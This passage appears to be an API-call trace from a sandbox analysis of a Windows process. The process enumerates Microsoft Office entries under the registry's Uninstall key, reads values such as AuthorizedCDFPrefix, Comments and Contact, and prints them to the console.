[0147.630] _errno () returned 0xc4bb0 [0147.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.630] _errno () returned 0xc4bb0 [0147.630] GetFileType (hFile=0x50) returned 0x1 [0147.630] lstrlenW (lpString="\n") returned 1 [0147.630] GetConsoleOutputCP () returned 0x1b5 [0147.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.631] GetConsoleOutputCP () returned 0x1b5 [0147.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.631] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.631] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.631] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}") returned 109 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.631] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.631] GetProcessHeap () returned 0x2e0000 [0147.631] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.631] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.631] RegCloseKey (hKey=0x5c) returned 0x0 [0147.632] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x16, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0000-1000-0000000FF1CE}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.632] __iob_func () returned 0x7fefd702a80 [0147.632] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.632] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\n") returned 110 [0147.632] _fileno (_File=0x7fefd702ab0) returned 1 [0147.632] _errno () returned 0xc4bb0 [0147.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.632] _errno () returned 0xc4bb0 [0147.632] GetFileType (hFile=0x50) returned 0x1 [0147.632] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\n") returned 110 [0147.632] GetConsoleOutputCP () returned 0x1b5 [0147.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.632] GetConsoleOutputCP () returned 0x1b5 [0147.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\n", lpUsedDefaultChar=0x0) returned 110 [0147.632] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.632] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.632] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{90160000-008C-0000-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.632] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.632] GetProcessHeap () returned 0x2e0000 [0147.632] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.632] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.633] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.633] GetProcessHeap () returned 0x2e0000 [0147.633] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.633] GetProcessHeap () returned 0x2e0000 [0147.633] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.633] GetProcessHeap () returned 0x2e0000 [0147.633] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.633] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.633] __iob_func () returned 0x7fefd702a80 [0147.633] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.633] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.633] _fileno (_File=0x7fefd702ab0) returned 1 [0147.633] _errno () returned 0xc4bb0 [0147.633] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.633] _errno () returned 0xc4bb0 [0147.633] GetFileType (hFile=0x50) returned 0x1 [0147.633] lstrlenW (lpString=" ") returned 4 [0147.633] GetConsoleOutputCP () returned 0x1b5 [0147.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.633] GetConsoleOutputCP () returned 0x1b5 [0147.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.633] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.633] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.633] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.633] __iob_func () returned 0x7fefd702a80 [0147.633] _fileno (_File=0x7fefd702ab0) returned 1 [0147.633] _errno () returned 0xc4bb0 [0147.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.634] _errno () returned 0xc4bb0 [0147.634] GetFileType (hFile=0x50) returned 0x1 [0147.634] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.634] GetConsoleOutputCP () returned 0x1b5 [0147.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.634] GetConsoleOutputCP () returned 0x1b5 [0147.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.634] __iob_func () returned 0x7fefd702a80 [0147.634] _fileno (_File=0x7fefd702ab0) returned 1 [0147.634] _errno () returned 0xc4bb0 [0147.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.634] _errno () returned 0xc4bb0 [0147.634] GetFileType (hFile=0x50) returned 0x1 [0147.634] lstrlenW (lpString=" ") returned 4 [0147.634] GetConsoleOutputCP () returned 0x1b5 [0147.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.634] GetConsoleOutputCP () returned 0x1b5 [0147.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.635] __iob_func () returned 0x7fefd702a80 [0147.635] _fileno (_File=0x7fefd702ab0) returned 1 [0147.635] _errno () returned 0xc4bb0 [0147.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.635] _errno () returned 0xc4bb0 [0147.635] GetFileType (hFile=0x50) returned 0x1 [0147.635] lstrlenW (lpString="REG_SZ") returned 6 [0147.635] GetConsoleOutputCP () returned 0x1b5 [0147.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.635] GetConsoleOutputCP () returned 0x1b5 [0147.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.635] __iob_func () returned 0x7fefd702a80 [0147.635] _fileno (_File=0x7fefd702ab0) returned 1 [0147.635] _errno () returned 0xc4bb0 [0147.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.635] _errno () returned 0xc4bb0 [0147.635] GetFileType (hFile=0x50) returned 0x1 [0147.635] lstrlenW (lpString=" ") returned 4 [0147.635] GetConsoleOutputCP () returned 0x1b5 [0147.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.636] GetConsoleOutputCP () returned 0x1b5 [0147.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.636] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.636] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.636] __iob_func () returned 0x7fefd702a80 [0147.636] _fileno (_File=0x7fefd702ab0) returned 1 [0147.636] _errno () returned 0xc4bb0 [0147.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.636] _errno () returned 0xc4bb0 [0147.636] GetFileType (hFile=0x50) returned 0x1 [0147.636] lstrlenW (lpString="") returned 0 [0147.636] __iob_func () returned 0x7fefd702a80 [0147.636] _fileno (_File=0x7fefd702ab0) returned 1 [0147.636] _errno () returned 0xc4bb0 [0147.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.636] _errno () returned 0xc4bb0 [0147.636] GetFileType (hFile=0x50) returned 0x1 [0147.636] lstrlenW (lpString="\n") returned 1 [0147.636] GetConsoleOutputCP () returned 0x1b5 [0147.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.636] GetConsoleOutputCP () returned 0x1b5 [0147.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.637] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.637] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.637] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.637] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.637] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.637] GetProcessHeap () returned 0x2e0000 [0147.637] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.637] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.637] __iob_func () returned 0x7fefd702a80 [0147.637] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.637] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.637] _fileno (_File=0x7fefd702ab0) returned 1 [0147.637] _errno () returned 0xc4bb0 [0147.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.637] _errno () returned 0xc4bb0 [0147.637] GetFileType (hFile=0x50) returned 0x1 [0147.637] lstrlenW (lpString=" ") returned 4 [0147.637] GetConsoleOutputCP () returned 0x1b5 [0147.637] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.638] GetConsoleOutputCP () returned 0x1b5 [0147.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.638] lstrlenW (lpString="Comments") returned 8 [0147.638] __iob_func () returned 0x7fefd702a80 [0147.638] _fileno (_File=0x7fefd702ab0) returned 1 [0147.638] _errno () returned 0xc4bb0 [0147.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.638] _errno () returned 0xc4bb0 [0147.638] GetFileType (hFile=0x50) returned 0x1 [0147.638] lstrlenW (lpString="Comments") returned 8 [0147.638] GetConsoleOutputCP () returned 0x1b5 [0147.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.638] GetConsoleOutputCP () returned 0x1b5 [0147.638] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.638] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.638] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.638] __iob_func () returned 0x7fefd702a80 [0147.638] _fileno (_File=0x7fefd702ab0) returned 1 [0147.638] _errno () returned 0xc4bb0 [0147.638] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.638] _errno () returned 0xc4bb0 [0147.638] GetFileType (hFile=0x50) returned 0x1 [0147.639] lstrlenW (lpString=" ") returned 4 [0147.639] GetConsoleOutputCP () returned 0x1b5 [0147.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.639] GetConsoleOutputCP () returned 0x1b5 [0147.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.639] __iob_func () returned 0x7fefd702a80 [0147.639] _fileno (_File=0x7fefd702ab0) returned 1 [0147.639] _errno () returned 0xc4bb0 [0147.639] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.639] _errno () returned 0xc4bb0 [0147.639] GetFileType (hFile=0x50) returned 0x1 [0147.639] lstrlenW (lpString="REG_SZ") returned 6 [0147.639] GetConsoleOutputCP () returned 0x1b5 [0147.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.639] GetConsoleOutputCP () returned 0x1b5 [0147.639] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.639] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.639] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.640] __iob_func () returned 0x7fefd702a80 [0147.640] _fileno (_File=0x7fefd702ab0) returned 1 [0147.640] _errno () returned 0xc4bb0 [0147.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.640] _errno () returned 0xc4bb0 [0147.640] GetFileType (hFile=0x50) returned 0x1 [0147.640] lstrlenW (lpString=" ") returned 4 [0147.640] GetConsoleOutputCP () returned 0x1b5 [0147.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.640] GetConsoleOutputCP () returned 0x1b5 [0147.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.640] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.640] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.640] __iob_func () returned 0x7fefd702a80 [0147.640] _fileno (_File=0x7fefd702ab0) returned 1 [0147.640] _errno () returned 0xc4bb0 [0147.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.640] _errno () returned 0xc4bb0 [0147.640] GetFileType (hFile=0x50) returned 0x1 [0147.640] lstrlenW (lpString="") returned 0 [0147.640] __iob_func () returned 0x7fefd702a80 [0147.640] _fileno (_File=0x7fefd702ab0) returned 1 [0147.640] _errno () returned 0xc4bb0 [0147.640] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.640] _errno () returned 0xc4bb0 [0147.640] GetFileType (hFile=0x50) returned 0x1 [0147.640] lstrlenW (lpString="\n") returned 1 [0147.641] GetConsoleOutputCP () returned 0x1b5 [0147.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.641] GetConsoleOutputCP () returned 0x1b5 [0147.641] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.641] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.641] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.641] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.641] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.641] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.641] GetProcessHeap () returned 0x2e0000 [0147.641] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.641] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, 